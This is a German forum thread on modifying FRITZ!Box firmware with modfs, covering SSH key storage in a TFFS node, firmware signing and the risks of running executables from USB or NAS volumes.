Punkt 17: Deine Busybox enthält ja mktemp & which (anders als bei AVM). Daher ist es am einfachsten, einfach deine zu verwenden. Wenn du das änderst, findet sed halt die Stellen nicht mehr und fixt nichts, was nicht (mehr) kaputt ist. Wo wir dabei sind: sollte hier nicht $? gelesen werden? Ansonsten musste ich lediglich die Verwendung deines Skripts statt des Binaries erzwingen und denen hast du unterschiedliche Namen gegeben. Sollte die .inc optional werden, sag Bescheid. Dann ändere ich hier ebenfalls. Vielleicht liest jemand ja auch #1 nur, um sich die Verwendung deiner Signaturskripte anzuschauen.



Ich fand es für mich wichtig, mal herauszufinden, wieviel Arbeit zwischen deinem andeutenden Post und der konkreten Umsetzung liegt. Und ich finde es meist sehr schade, wieviel Arbeit du in deine Posts steckst, das letztlich aber (vermutlich) oft eher wenigen hilft. Würdest du die Schritte von modfs nur an wiederholt und an vielen verstreuten Stellen beschreiben, würden deutlich weniger Leute ihre Firmware modifizieren. Aber jetzt wo es ein fertiges Skript gibt... und du glaubst vermutlich auch nicht, dass jeder jede Codezeile von modfs anschaut und obendrein noch versteht.

Die sinnvolle Integration würde ich natürlich dem Autor überlassen. Ich halte einen Ansatz nicht verkehrt, der ein modscript verwendet, welches aber gewissse dokumentierte Vorarbeiten verlangt (z.B. authorized_keys zur Verfügung stellen - für die Schlüsselpaarerstellung sollte ein Verweis auf puttygen genügen).

Man könnte die paar Dateien auch ohne copy_binaries integrieren. So habe ich es anfangs in meinem mod_dropbear sogar gemacht. Ich bin nur umgeschwenkt, weil ich copy_binaries mal kennenlernen wollte. Wie gesagt, dein Repo bietet vieles... nur leider keine zusammenhängende Doku. Oftmals gilt: Der Source ist die Doku.

Die Integration von sign_image halt ich für unproblematisch, da der private Schlüssel so dauerhaft nicht exportiert werden muss. Und um die Möglichkeit, mal eben einen neuen öffentlichen Schlüssel signieren zu können, geht es doch hier gerade.

privatekeypassword.sh läuft auf der Box - kein Binary notwendig.

Ich finde, wer einfach per SSH auf seine Box möchte (und das werden für eine VR9-Box vermutlich immer weniger), kann meiner Anleitung schon ohne weitere Entscheidungen zu treffen folgen. Ich meine damit die Leute, die nur mal eben telnet aktivieren wollten. Gut, die nutzen vermutlich dein SIAB-Wrapper, weil bisher obige Anleitung fehlte ;). Wenn SSH dann funktioniert und man mehr möchte, kann man eben zu #1 zurückkehren und sich an den gewünschten Stellen einlesen.

Die Stellen bei meiner Anleitung, wo du den Sinn nicht verstehst, interessieren mich. Ich habe jedenfalls vor dem Posten die Shell-Befehle getestet und sie führten bei mir zum gewünschten Ergebnis. Aber dazu hält modfs ja an passender Stelle an, um das vor dem Packen & Flashen zu prüfen...
 
Zuletzt bearbeitet:
Wo befindet sich eine Stelle, wo ich eine URL wie "file:///var/media/ftp" nutzen (also ausführen) könnte?
Konkret kenne ich im Moment keine ... das sollte aber eben trotzdem kein Anlaß sein, da eine potentiell unsichere Konstruktion einzuführen. Da auf diesen Datenträgern die x-Flags ohnehin nur emuliert sind und die mount-Kommandos keine weiteren Vorkehrungen treffen, um da diese Flags "speziell" zu setzen, sind praktisch alle Dateien auf einem solchen Volume immer ausführbar.

Für vfat setzt AVM die fmask- und dmask-Optionen sogar explizit auf 0 in der /etc/hotplug/udev-mount-sd und für ntfs (bzw. antfs) sind die gar nicht erst angegeben, was m.W. auf 0 als Standard hinausläuft (nur umask wird wohl vom aufrufenden Prozess kopiert - das gilt aber auch nur für vfat, bei antfs (was ja ein ntfs-3g-Clone ist) wird vermutlich der Standard wieder 0 sein). Da diese Masken genauso wirken, wie die Angaben beim umask (die gesetzten Bits in der Maske werden im resultierenden Flag gelöscht), ändern auch die 0-Masken praktisch gar nichts.

Das heißt dann aber auch, daß jede vorhandene und bei NTFS auch jede neu erstellte Datei ein x-Flag gesetzt hat auf diesen Volumes ... und damit per se auch ausführbar ist, wenn das Volume nicht mit Option noexec gemountet wurde - was AVM ja eigentlich (vollkommen korrekt) macht. Und damit braucht ein potentieller Angreifer jetzt wieder nur irgendeine Lücke, um eine solche Datei dann auch tatsächlich zu starten.

Das mit der URL war ein BEISPIEL, wo sich eine solche auftun könnte ... es gibt genug Stellen in der Firmware, wo URLs eine Rolle spielen (bis hin zu denen, die der configd für irgendwelche DECT-Geräte aufruft) und wenn irgendeine "zugekaufte" Bibliothek plötzlich der Ansicht sein sollte, eine Datei mit Content-Type (oder meinetwegen auch MIME-Type) application/x-pie-executable wäre am sinnvollsten darzustellen, indem man sie per execvp (https://linux.die.net/man/3/execvp) ausführen läßt (und solche Dateien "faßt" das FRITZ!OS durchaus auch an, denn sie werden ja - wie alle anderen auf NAS-Speicher auch - zumindest indexiert), dann macht es schon einen Unterschied, ob diese Datei jetzt ausführbar ist oder nicht.

Aber so kompliziert muß es auch gar nicht sein ... manchmal reicht es ja schon, einfach vorne in die PATH-Variable ein zusätzliches Verzeichnis auf dem NAS einzuschmuggeln und schon kann man Aufrufe, die ihrerseits keinen absoluten Pfadnamen verwenden, auf eigene Binaries umlenken. Zwar sind auch diese Lücken, über die man PATH manipulieren kann, mittlerweile weitestgehend dicht (es gab definitiv auch mal welche), aber das heißt ja nicht, daß nicht irgendwann doch wieder mal neue auftauchen können ... und denen nimmt man von Beginn an einen guten Teil des Schadenspotentials, wenn man eben KEINE Programme/Skripts DIREKT von solchen Volumes, die über keine "richtigen" Dateirechte unter Linux verfügen, ausführen läßt.

Wer so etwas UNBEDINGT braucht und haben will, der kann sich ja problemlos aus diesen Dateien ein SquashFS-Image erstellen (lassen) ... das kennt dann auch wieder die Linux-Flags in vollem Umfang (sogar xattrs, wenn man das braucht) und läßt sich ganz einfach auf irgendein Verzeichnis (ggf. sogar auf eines im Bestand von filesystem_core.squashfs, also dem tatsächlichen rootfs bei VR9-Boxen) mounten. Von dort kann man solche Dateien dann immer noch starten und wenn man dieses SquashFS-Image mit einer ./var/install, die das dann selbst mountet, zusammen in ein TAR-File steckt, kann man das sogar wieder signieren (dann ist auch der Inhalt "safe") und die AVM-Programme (speziell tr069fwupdate) dafür heranziehen (das braucht dann nicht mal ein gesondertes OpenSSL zum Prüfen - das ist übrigens genau das, was AVM mit dem PluginV2-Mechanismus bei 7390 und irgendeiner anderen "kleinen" Box (ich weiß gerade nicht genau, bei welcher - suchen würde ich zuerst bei der 4020) auch macht).

Mein (persönliches) Fazit (und eben auch meine "Begründung", die irgendwo vielleicht fehlte): Ausführbare Dateien auf einem USB-Volume, das kein "native format" für Linux-Systeme verwendet, sind eine schlechte Idee und eine vollkommen unnötige Schwächung der Sicherheit, die AVM mittlerweile an dieser Stelle bietet. Bei Linux-Dateisystemen KANN man das noch ein wenig anders sehen (obwohl die Sache mit dem SquashFS-Image auch hier gilt und in meinen Augen weiterhin "smarter" wäre, WEIL man die Integrität des SquashFS-Images prüfen kann), denn da kann man eben diese Flags tatsächlich gezielt setzen und die meisten Entpacker setzen sie auch für Dateien, die in irgendwelchen Archiven steckten und extrahiert werden sollten. Aber eigentlich ist das auch bei nativem Filesystem eine unnötige Sicherheitslücke, denn auch ein nicht gesetztes x-Flag verhindert ja nicht wirklich zuverlässig die Ausführung (ein noexec allerdings auch nicht, zumindest nicht bei Shell-Skripts) und die Ausführungen zu möglichen Lücken gelten natürlich auch dann, wenn das Volume ein Linux-Dateisystem verwendet.



BTW ... DAS ist auch ein Feature, das ich schon bei Freetz ausgesprochen gruselig fand und ich weiß nicht, ob das in Freetz-NG tatsächlich anders ist oder letztlich nur die Implementierung etwas geändert wurde.

Da gibt es sogar irgendeine Option, die man (zur Laufzeit oder beim Build ... ich weiß es nicht mehr aus dem Kopf und sehe jetzt auch nicht nach) einschalten kann und wo dann so eine Art "autorun"-Mechanismus losgetreten wird (aus der Erinnerung wird da eine Datei autorun.sh im Wurzelverzeichnis des Volumes gesucht). Das dann aber m.W. auch alles ohne irgendwelche zusätzlichen Sicherheitsmerkmale ... wenn ich da also bei einer Box, die diese Option aktiviert hat, nur mal kurz einen USB-Stick anstecken kann, dann hat man das, was einem manche Filme präsentieren: Einfach den USB-Stick in den Rechner (bzw. hier die FRITZ!Box) stecken und man hat Zugriff auf alles, was sich darauf befindet - notfalls kann man sogar das OS verändern. Genau so ein Mechanismus (über eine autorun.inf) war dann auch lange Zeit der einfachste Weg (in vergangenen Zeiten, denn irgendwann fiel das dann mal auf), irgendeinen Windows-PC zu verseuchen.

Warum man den (selbst wenn's nur optional ist) jetzt überhaupt in einer FRITZ!Box - und dann noch auf so gruselige Art und Weise ohne jede weitere Sicherung - wiederbeleben wollte, hat sich mir noch nie erschlossen. Ich hoffe nur, daß die Freetz-Benutzer, die sich beim Lesen so eines Features dann denken: "Geil, kann ich meine Fotos gleich beim Anstecken des Sticks automatisch indexieren lassen." (o.ä.), auch die Konsequenzen solcher Features überblicken ... denn dann brauche ich (bei einigermaßen blickigem Nachwuchs) auch keine Kindersicherung und Nutzungsbeschränkungen mehr.
 
Zuletzt bearbeitet:
Ausführbare Dateien auf einem USB-Volume, das kein "native format" für Linux-Systeme verwendet, sind eine schlechte Idee und eine vollkommen unnötige Schwächung der Sicherheit, die AVM mittlerweile an dieser Stelle bietet. Bei Linux-Dateisystemen KANN man das noch ein wenig anders sehen ... Aber eigentlich ist das auch bei nativem Filesystem eine unnötige Sicherheitslücke, denn auch ein nicht gesetztes x-Flag verhindert ja nicht wirklich zuverlässig die Ausführung (ein noexec allerdings auch nicht, zumindest nicht bei Shell-Skripts) und die Ausführungen zu möglichen Lücken gelten natürlich auch dann, wenn das Volume ein Linux-Dateisystem verwendet.
Du lieferst genau die Begründung selbst, warum ich eine exec-NTFS-Partition nicht für unsicherer halte als eine exec-Linux-Partition.

Deinen Argumenten für/wider (no)exec stimme ich zu. Aber ohne Unterscheidung zwischen dem Partitionsformat, weil ein externer Angreifer (es geht ja um die angesteckten Medien) nicht am Format scheitert, wenn er dort schon Schadcode unterbringen kann, den er irgendwie zur Ausführung bringen kann. Klappt es mit NTFS (& auto-x), dann auch mit ext2 & manuellem x durch den Angreifer.
 
Die "modscripts" für diese Patches mit dem noexec -> exec sind auch nicht meine "Lieblingspatches", aber mancher kommt halt nicht vollkommen ohne sie aus und so ein wenig sind sie das "Wiederherstellen" eines vorherigen Zustands, als das noch problemlos ging. Auch die bei mir zu findende Aufteilung in zwei getrennte Patches (einen für den NAS-Flash und einen für Linux-Dateisysteme auf USB-Volumes - wobei ich mich ja auch auf das beschränke, was AVM selbst eingebaut hat an Formaten) hat ja ihren Hintergrund ... beim NAS-Flash ist das "etwas weniger schlimm", weil da eben nicht einfach nur ein passender Stick angesteckt werden muß und man zumindest den Schreibzugriff auf NAS-Verzeichnisse braucht. Lesen kann man die bei aktiviertem Media-Server ohnehin alle, solange die Standardeinstellungen nicht geändert wurden.

Ich selbst nutze die beiden Patches gar nicht und wenn ich tatsächlich mal einen Download in NAS-Speicher mache, den ich (a) länger aufheben will (deshalb nicht ins tmpfs mache) und (b) dann auch ausführen muß, dann rufe ich eben einfach noch (aber eben nur dann, wenn's auch benötigt wird) ein mount -o remount,exec /var/media/ftp[/...] auf und kann danach ebenfalls Programme von NAS-Speicher starten.

Aber ich habe eben auch schon anderes gelesen ... bis hin zu Leuten, die sich ganze Pakete auf /var/media/ftp/uStor01 legen und das dann auch noch selbst irgendwo ganz vorne in PATH setzen, damit sie die Programme von dort auch ohne absolute Pfade aufrufen können. Das kann man zwar tatsächlich auch machen ... aber eben nur dann, wenn man sich damit so weit auskennt, daß man das auch weiterhin sicher(!) halten kann (und dazu gehört dann, daß man sich vorher überzeugt, daß da auch der richtige Stick gemountet ist) und sich damit nicht selbst ins Knie schießt.



Wobei auch hier Freetz wieder reichlich "old school" und sehr vertrauensselig ist ... denn für alles das, was über das "externals"-Feature ausgelagert wird und über das Freetz-GUI irgendwo "installiert" (aka entpackt) werden kann, gibt es solche Verifikationen schlicht auch nicht - damit ist eine Box mit diesem Feature per se genauso angreifbar und letztlich haben die Leute, die solche Pakete dann "von Hand" auf USB-Volumes auslagern, sich das wohl auch nur dort abgeschaut (oder vice versa, man weiß es ja nicht genau).

Das mag ja in der "guten alten Zeit" noch praktikabel gewesen sein - heute ist es (in meinen Augen jedenfalls) nur noch fahrlässig - um das wirklich sicher zu betreiben, braucht es schon einiges an Kenntnissen an dieser Stelle und die hat der "gemeine Freetz-Benutzer" üblicherweise nicht (behaupte ich jetzt einfach mal, ohne es belegen zu können), denn ansonsten würde man sich vermutlich nicht freiwillig auf so eine unsichere Kiste einlassen, wenn es mit wenigen Handgriffen auch anders geht.



Und eigentlich sehe ich die Pflicht, das eben auf sicherem Weg zu realisieren, eher bei den Projekten, die solche Modifikationen anbieten, als bei den jeweiligen Benutzern. Wer so ein "sicheres Angebot" nicht machen kann, sollte m.E. besser gar keines machen (deshalb gibt es eben von mir auch oft nur Ideen und nicht "Fertiges").

Denn auch bei Freetz wäre es ja wieder leicht machbar, das ganze "externals"-Zeug in ein SquashFS-Image zu packen (zumindest bei aktuellen Modellen) und dieses dann (nach Gültigkeitsprüfung) an die richtige Stelle zu mounten - der Overhead beim Speicherbedarf sollte zu vernachlässigen sein und gleichzeitig hat man automatisch ein unveränderliches, weil per Definition nur read-only zu benutzendes, Dateisystem für diese ausgelagerten Dateien. AVM macht's (wie oben schon mal erwähnt) beim PLUGINV2 vor ... wobei man das wohl ohne das Entpacken des SquashFS-Images ins tmpfs machen sollte (und damit doch leicht anders, als AVM es realisiert hat).

Aber dazu müßte man eben mal einen Break machen und die ollen Kamellen über Bord werfen - ich habe so das Gefühl, daß das auch bei Freetz (bzw. -NG) nicht mehr lange auf sich warten lassen wird (bzw. warten lassen kann), wenn in letzter Zeit schon Images auftauchen, die auch die 44 MB (brutto) in einer YAFFS2- bzw. UBIFS-Partition fast auslasten. Stellt sich nur die Frage, ob man diesen "externals"-Mechanismus dann mal halbwegs "sicher" implementiert oder einfach weiterhin hofft, daß sich niemand für solche Schwachstellen interessiert oder eben dem (naiven) Benutzer die alleinige Verantwortung für die Sicherheit zuschanzt.
 
(es gäbe auch noch genug Platz im TFFS unterhalb von Node 100, um sich auf einen neuen, speziellen Node mit solchen Keys festzulegen, der auch Factory-Resets überlebt und KEINE rc.user braucht)
Der Hinweis war sehr gut.
Ich habe die authorized_keys jetzt in Node 97 gesteckt.
Direkt unter 98 von dir für rc.user.

Jetzt habe ich der rc.user folgendes stehen:
Code:
tffs_minor=97
tffs_major=$(sed -n -e 's/^\([0-9]*\) .*tffs.*/\1/p' /proc/devices)
mknod /var/tmp/authorized_keys.tffs c $tffs_major $tffs_minor
cat /var/tmp/authorized_keys.tffs > /var/tmp/.ssh/authorized_keys
rm /var/tmp/authorized_keys.tffs
Ja, ich weiß, ist alles nur von dir geklaut.

In den nächsten FW will ich es dann fest mit einbauen.
Da habe ich mir dein mod_rc_tail_sh zum Vorbild genommen und abgeändert.
Da wird dann eben die authorized_keys statt der rc.user erzeugt.

Frage:
Ich muß die Datei doch für dropbear in einer "lesbaren" Form zu Verfügung stellen oder könnte dropbear gleich auf Node 97 zugreifen?
 
Zuletzt bearbeitet:

Nr.

Aktion

Erläuterung

.........
Ich finde deine Übersicht gelungen und interessant, zumal sie konkrete Umsetzungen mit Erläuterungen und Hintergründen verknüpft.
 
@Chatty:
Ich habe gerade Deine Änderungen an #9 gesehen, daher noch ein paar (chronologisch an #9 orientierte) Antworten/Reaktionen.



Was macht "for m in swapoff exec profile"?
Das, was ich versucht habe zu beschreiben. Meine Kommandofolge listet ALLE "modscripts" (auch die in contrib) in der custom_modscripts (es wird ja eine neue Datei erzeugt, die diese Namen alle enthält) und setzt dabei auch im ersten Schritt für ALLE Modifikationen ein - in die erste Spalte ... sie werden also gar nicht angefaßt beim Modifizieren des Images. Die for-Schleife soll dann die gewünschten Modifikationen (hier wären es iirc vier) wieder aktivieren in dieser Datei ... und für die Kontrolle, ob diese "Liste" im for auch die richtigen Skript-Files erwischt hat, zeige ich sie ja am Ende auch noch einmal an.

Das halte ich in jedem Falle für sinnvoller, als sich auf Wildcards zu verlassen ... wenn das (von Dir verwendete chmod) so von mir käme bzw. als "Anleitung" von jemandem mißverstanden werden sollte, hätte man ja schon ein Problem mit (künftigen) Namen, weil man nicht genau wüßte, ob die nun mit oder ohne gesetztes x-Flag enden würden. Und anders als Du es hier schreibst:
Deine Vorauswahl der exec-Rechte ist ja letztlich auch nur eine Empfehlung.
, treffe ich selbst gar keine Auswahl irgendwelcher "modscripts" (außer denen, die ich nach "inactive" verschoben habe, weil sie eher für ältere Versionen mal sinnvoll waren und es heute nicht mehr sind, aber gleichzeitig kein Beschränkung auf irgendwelche Versionsnummern im Code haben) ... wenn beim Zusammenpacken alles richtig läuft, haben die alle 754 als Flags-Wert gesetzt und das führt dazu, daß jedes einzelne davon "abgefragt" wird im Terminal.

Wenn das vielleicht nicht bei jedem Skript schon im Repo so ist, ist das auch nur der Tatsache geschuldet, daß mein Hauptaugenmerk beim "Vertrieb" von "modfs" nun mal bisher auf der Datei modfs.tgz lag, die ich auf yourfritz.de bereitstelle. Denn bis zur neuen BusyBox bei AVM war eben kein HTTPS-Download von GitHub möglich - ursprünglich funktionierte der mit httpsdl von AVM gar nicht, aber spätere Versionen dieses AVM-Programms konnten dann tatsächlich auch schon erfolgreich Downloads von GitHub ausführen ... leider aber nur so lange, wie es bis zum "tatsächlichen" Download keine Redirections gab.

So kann man mit httpsdl (und vor der neuen BusyBox-Version gab es bei AVM kein anderes Programm für solche Downloads) den Boot-Manager eben nicht von der URL, die im GitHub verlinkt wird, herunterladen (https://github.com/PeterPawn/YourFritz/raw/main/bootmanager/bootmanager) ... erst wenn man die tatsächliche Adresse verwendet (von der vorhergehenden wird dahin umgeleitet), klappt der Download auch mit dem AVM-Programm: https://raw.githubusercontent.com/PeterPawn/YourFritz/main/bootmanager/bootmanager

Und genau deshalb war das Repository bisher nie als "der übliche Weg" zum Download von "modfs" angegeben von mir (außer ggf. für ältere Stände, falls die jemand haben wollte) ... das hast Du also auch aus eigenem Antrieb mit dem ZIP-File gemacht, was von GitHub aus jedem Repo erstellt werden kann. Aber auch dann hätte es ja gereicht, wenn Du einfach (für die "originalen" Dateirechte, wie sie auch in modfs.tgz gesetzt sind) noch das ebenfalls im Repo enthaltene set_correct_flags.sh aufgerufen hättest - auch das hätte das "Mißverständnis", daß meinerseits eine "Vorauswahl" der Modifikationen erfolgen würde, vermieden.

Denn auch das hier:
Aber nur drei Beispiele - alle haben die Rechte 0755, wurden also ausgeführt:
ist bei Verwendung einer custom_modscripts mit dem von Dir gezeigten "Aufbau":
Code:
-modscripts/mod_prefer_fonnumber_name
+modscripts/mod_profile
-modscripts/mod_rc_tail_sh
falsch (oder sollte es zumindest sein, wenn alles reibungslos funktioniert), denn diese Dateiberechtigungen werden ja von modfs exakt anhand dieser Datei gesetzt (https://github.com/PeterPawn/modfs/blob/0dd27604d548baf5d9eaf3293e794461aff48851/modfs#L1131) und zwar BEVOR sie danach ausgeführt werden sollen. Und das mit der custom_modscripts habe ich auch nicht nur einmal im modfs-Thread erklärt ... das steht (mit hoher Wahrscheinlichkeit) auch mehrfach dort.

Womit ich dann wieder bei Deiner Feststellung:
Würdest du die Schritte von modfs nur an wiederholt und an vielen verstreuten Stellen beschreiben, würden deutlich weniger Leute ihre Firmware modifizieren. Aber jetzt wo es ein fertiges Skript gibt... und du glaubst vermutlich auch nicht, dass jeder jede Codezeile von modfs anschaut und obendrein noch versteht.
bin (die ja wohl irgendwie das Thema "verstreute Beschreibungen und warum ich das nicht einfach noch einmal alles als Buch herausbringe" betrifft) ... wenn Du das selbst liest und versuchst (ggf. auch im Kontext der Stelle, von wo das Zitat stammt), den Sinn zu verstehen - bist Du dann erfolgreich? Ich gebe zu, ich bin es nicht - ich verstehe die Aussage dieser zwei Sätze einfach nicht.

Wo wir dabei sind: sollte hier nicht $? gelesen werden?
Denkbar ... sieht zumindest auf den allerersten Blick so aus. Wobei ich vermutlich eher ein rc=$? davor einfügen würde.

Vielleicht liest jemand ja auch #1 nur, um sich die Verwendung deiner Signaturskripte anzuschauen.
Warum sollte er? Liegt die Betonung dabei auf "Verwendung" oder ist das ein Beispiel, wo Du der Ansicht bist, ich würde einfach nur die Skript-Dateien selbst dem geneigten Benutzer vor die Füße werfen? Denn angesichts der doch eher ausführlichen Beschreibung von Signatur und Prüfung UND der wortreichen (wobei das hoffentlich auch gleichzeitig inhaltsreich ist) Erklärung, wie man diese Skript-Dateien zum Signieren und zum Prüfen von Signaturen benutzen kann (https://www.ip-phone-forum.de/threa...ignieren-der-avm-firmware.286213/post-2165906), wüßte ich dann tatsächlich gerne, wie hoch bei Deinen Ansprüchen an eine "Dokumentation" die Latte liegt.

Wie gesagt, dein Repo bietet vieles... nur leider keine zusammenhängende Doku.
Wie gesagt ... für die allermeisten "Angebote" in den GitHub-Repositories gibt es hier auch irgendwo eine Erklärung - und sei sie noch so kurz. Die ist auch mit einer Suche nach Beiträgen von mir und mit dem jeweiligen Verzeichnis- oder Dateinamen zu finden - je nach Beliebtheit des jeweiligen Programms/Skripts halt nicht immer direkt als einzelne Fundstelle, aber das kann man ja auch kaum mir zum Vorwurf machen, denn wenn's nach mir ginge, gäbe es ja gar keine "doppelten Erklärungen" mehr.

An einigen Stellen in den Repos wird sogar explizit auf das jeweilige Thema im IPPF verwiesen - weil wir hier ja gerade beim signimage-Thema sind, führe ich als Beispiel einfach mal den Inhalt genau dieses Unterverzeichnisses im Repo an: https://github.com/PeterPawn/YourFritz/tree/main/signimage und vielleicht kannst Du mir ja Deine "Kritikpunkte" einfach noch einmal am konkreten Objekt in diesem Falle erläutern. Denn angesichts des vorherigen Zitats mit der Vermutung, warum jemand Dein #1 auch noch lesen wollen könnte, muß man ja schon davon ausgehen, daß sich die Kritik im letzten Zitat auch darauf beziehen sollte. Was genau fehlt denn hier? Die "Verlinkung" vom GitHub-Repo auf den IPPF-Thread? Oder der IPPF-Thread mit der (ausführlichen) Anleitung und ein Link auf das Repo?

Ich hoffe, daß Du es mir nachsiehst, wenn ich das alles nicht ganz so ernst nehmen kann, solange das nicht halbwegs schlüssig begründet ist. Und das hier:
Die Stellen bei meiner Anleitung, wo du den Sinn nicht verstehst, interessieren mich.
läßt mich nun vollkommen ratlos zurück ... meine Punkte, wo ich Zweifel hatte oder etwas nicht verstehen konnte, hatte ich ja oben schon sehr ausführlich dargelegt und einiges hast Du mittlerweile ja auch geändert. Das macht das zwar für künftige Leser wieder verständlicher, ändert aber nichts an meinem Unverständnis zu dem Zeitpunkt, wo ich das meinerseits schrieb und Dein Beitrag in #1 auch noch (etwas) anders aussah.

Und auch Deiner Aussage:
Ich halte einen Ansatz nicht verkehrt, der ein modscript verwendet, welches aber gewissse dokumentierte Vorarbeiten verlangt
kann ich so nicht folgen ... denn das, was Du da an manuellen Entscheidungen schon alles getroffen hast, wenn Du die richtigen Programme (für Deine Box und die verwendete FRITZ!OS-Version) von GitHub lädst, in eine passende Ordnerstruktur packst, die Dateien (nach dem Download, wo nun mal keine Flags mitgesendet werden) ausführbar machst und das dann alles in eine binaries.tgz zusammenpackst, ist viel mehr als nur das Bereitstellen eines öffentlichen Schlüssels für die erste Anmeldung.

Dann mußt Du ja jetzt nur noch alles in diesem einen "modscript" so automatisieren, daß erst mal ermittelt wird, was die richtigen Dateien im Repo wären (das copy_binaries entscheidet da ja nichts wirklich, was den INHALT des Archivs angeht) und die dann auch noch (während modfs arbeitet) von GitHub laden. Das alles ohne weitere Prüfung bzw. sogar ohne Möglichkeit zum Prüfen, weil es bisher nur PGP-Signaturen von mir gibt und dafür AUF DER BOX wieder ein gnupg2 (o.ä.) gebraucht würde - und muß so eine VR9-Box tatsächlich schon (Live-)Internetzugriff haben? Das modfs kriegt man auch von lokal per FTP o.ä. auf die Box und muß es nicht ZWINGEND direkt vor der Ausführung aus dem Netz laden. Allerdings würde ich sogar noch hingehen und die Dateien auch mit OpenSSL so signieren, daß man sie auf der Box dann doch noch prüfen kann (halt wieder mit einem OpenSSL, für das dann die Prüfung natürlich auch wieder schwierig ist, solange es noch kein OpenSSL auf der Box gibt).

Und da nehme ich jetzt der Einfachheit halber mal an, daß man wirklich (wie @eisbaerin) einen speziellen TFFS-Node für die authorized_keys verwendet - den kann man dann tatsächlich auch wieder per Shell (oder auf einem der anderen Wege, die ich weiter oben schon erwähnt hatte) befüllen und zwar von dem System aus, was erst mal den Telnet-Zugriff erlaubt hat. Denn das hast Du oben ja auch ... ohne das SIAB-Image und die Installation eines Shell-Zugangs (was so eben nur auf VR9-Boxen funktioniert) kannst Du alles ab Punkt 3 nicht mehr machen.



Aber schauen wir uns doch einfach mal an, was wir (bzw. Du) jetzt erreicht haben ... es gibt für die 7490 eine Anleitung (oder ist es eine Zusammenstellung an Kommandos?), um so ein SSH-Paket einzubauen. Schon bei anderen Modellen (von ARM-basierten 7520/7530 bis zu GRX-Boxen) funktioniert modfs nicht mehr so, wie oben gezeigt - auch wenn es andere Anleitungen gibt, wie man die Skripte für die Modifikationen auch bei diesen Boxen verwenden kann.

Da stelle ich mir halt die Frage, warum man das nicht gleich "richtig" machen sollte und zwar auch "mit Perspektive". Denn alle notwendigen Bausteine existieren mittlerweile tatsächlich ... nur sind es gerade diese "bread&butter"-Modifikationen an der AVM-Firmware, die spätere flexible Reaktionen ermöglichen, auf die Du offensichtlich in #1 verzichtet hast. Ich kann ja noch verstehen, wenn jemand sich den YourFritz-Key nicht in die Firmware baut, weil er mir nicht so richtig trauen mag. Aber warum man dann auf die Integration eines EIGENEN Keys verzichten sollte, erschließt sich mir nicht.

Denn WENN man so einen Key erst mal in der Firmware hat, kann man sich problemlos auch noch ein Skript in die Firmware packen, das alle NAS-Basisverzeichnisse (also /var/media/ftp und die Verzeichnisse für gemountete USB-Volumes) nach dem Mounten durchsucht und dabei für alle Dateien, die einem bestimmten Namensschema folgen (nehmen wir mal das altbewährte Muster *.custom) einfach mal ein tr069fwupdate packet ... aufruft (allerdings muß das serialisiert werden, damit nicht zwei Images gleichzeitig verarbeitet werden).

Das führt dann dazu, daß diese .custom-Datei einer Signaturprüfung unterzogen wird und wenn sie diese besteht (dafür hat man ja den eigenen Key in der Firmware), wird die dort enthaltene Datei ./var/install aufgerufen (allerdings in einem Verzeichnis /var/packet anstelle des Root-Verzeichnisses, was man bei Pfaden beachten muß). Dieses Skript kann jetzt den restlichen Inhalt der Image-Datei (der steht auch noch unter /var/packet) benutzen, um weitere Programme in das OS einzubinden. Eine Option wäre z.B. das Entpacken einer im Image enthaltenen Archivdatei in ein bekanntes Verzeichnis (unterhalb von /var), wie das diese Pakete machen: https://github.com/PeterPawn/yf_bin/tree/761344186579a26a7f60791f76f0f938b19b3a44/packages ... eine andere ist es, ein dort enthaltenes SquashFS-Image zu mounten und darin enthaltene Daemons dann zu starten (das Image vor dem Mounten an eine andere Stelle verschieben, weil /var/packet wieder gelöscht wird am Ende).

Das tr069fwupdate hat (der Name täuscht, das wird halt AUCH beim Firmware-Update über TR-069 verwendet) sogar noch den Vorteil, daß man da sowohl lokale Dateien (per file:///-URL) als auch Internet-Adressen (HTTP und HTTPS, ebenso auch FTP) angeben kann - echtes Internet halt erst/nur dann, wenn eine Verbindung hergestellt wurde. Damit MUSS man solche Pakete gar nicht mehr im NAS-Flash haben ... wenn man ausreichend RAM zur Verfügung hat.

Das sind schon mal zwei Optionen, wie man einfach nur mit einem simplen Skript + eigenem Key und ansonsten nur noch mit ohnehin bei AVM schon eingebauten Kommandos nahezu beliebige Erweiterungen in das FRITZ!OS einklinken kann - selbstverständlich auch einen SSH-Server. Ob man dann lieber ein selbstsigniertes Image auf NAS-Flash legt (das kann auch gleich die richtigen Public-Keys enthalten) oder ein bereitgestelltes Paket aus dem Internet lädt (wobei man dessen Ersteller und seinem Key dann halt vertrauen muß), ist wieder reine Geschmackssache bzw. bei manchen Erweiterungen dann auch den Umständen geschuldet.

So ist es z.B. irgendwann nicht mehr wirklich zielführend, größere SquashFS-Images tatsächlich in signierte Image-Dateien zu verpacken ... denn die müssen dann ja auch wieder ins RAM entpackt werden und wenn man sie dann von einem tmpfs-Pfad aus auch noch mountet, müssen sie die gesamte Zeit über verfügbar bleiben. Das geht dann schnell "ins RAM" ... da ist es besser, wenn man die SquashFS-Images selbst tatsächlich nur auf dem NAS-Speicher ablädt und in die signierte Image-Datei stattdessen einfach nur eine sichere Prüfsumme für dieses SquashFS-Image legt, die dann vor dem Mounten noch einmal verglichen wird.

Da bietet sich dann wieder sha3sum an (was als SHA3-512 auch schon in früheren BusyBoxen bei AVM enthalten war) - das bietet (a) sichere Hashes und hat (b) auch gleich alles eingebaut, um Hash-Wert und Dateiname in einer Datei zu verwalten, die auch bei einer Prüfung wieder automatisch gelesen werden kann. Da dort auch absolute Pfade möglich sind, kann man so einer Prüfsummen-Datei in einem signierten Image auch gleich den korrekten Pfad zum SquashFS-Image mit auf den Weg geben.

So ein Vorgehen hat dann auch noch zusätzlich den Vorteil, daß man es auch bei anderen Modellen relativ leicht anwenden kann ... denn alles, was es letztlich braucht, ist ein Skript zum Iterieren über die gewünschten Pakete und ihre "Quelladressen" und der eigene Key in der Firmware, mit dem die zu ladenden Pakete dann signiert sein müssen. Das kann man praktisch in jedes Firmware-Image relativ gefahrlos einbauen und solange AVM die Arbeitsweise des tr069fwupdate nicht ändert (was aber in dieser Form auch beim Update von DECT-Firmware verwendet wird), bleiben es auch immer dieselben "Grundänderungen", die man an so einem Image vornehmen muß ... und das kriegt man dann tatsächlich auch noch so integriert, daß sich diese (winzigen) Änderungen im System "festkrallen" und so auch Updates überleben können - zumindest welche, die als SILENT_UPDATE daherkommen und wo man nach der Installation der neuen Firmware noch genug Zeit zum nachträglichen (automatischen) Modifizieren hat.

